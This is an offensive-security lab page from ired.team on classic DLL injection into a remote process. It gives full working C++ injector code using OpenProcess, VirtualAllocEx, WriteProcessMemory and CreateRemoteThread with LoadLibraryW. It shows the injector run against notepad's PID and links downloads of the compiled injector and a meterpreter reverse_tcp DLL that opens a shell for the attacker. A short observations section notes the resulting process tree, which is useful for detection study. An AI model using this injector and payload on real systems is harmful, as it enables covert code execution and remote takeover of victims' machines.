> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection.md).

# DLL Injection

This lab attempts a classic DLL injection into a remote process.

## Execution

{% code title="inject-dll.cpp" %}

```cpp
int main(int argc, char *argv[]) {
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
	
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
	CloseHandle(processHandle); 
	
	return 0;
}
```

{% endcode %}

Compiling the above code and executing it with a supplied argument of `4892` which is a PID of the notepad.exe process on the victim system:

{% code title="attacker\@victim" %}

```csharp
PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892
Injecting DLL to PID: 4892
```

{% endcode %}

After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:

![](/files/-LKwe8C1B9bH2TeIu73z)

{% file src="/files/-LKwf4McUH9P9t8eWXiL" %}
DLL injector.exe
{% endfile %}

{% file src="/files/-LKwbhgFfjWM8ziwRvDF" %}
c:\experiments\evilm64.dll (windows/x64/meterpreter/reverse\_tcp)
{% endfile %}

## Observations

Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's `shell` command) that got executed as part of the injected evilm64.dll into the notepad process:

![](/files/-LKwe556aCAPH4AAKFn7)

![](/files/-LKwe2epU_trlbY-O06I)

## References

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx>" %}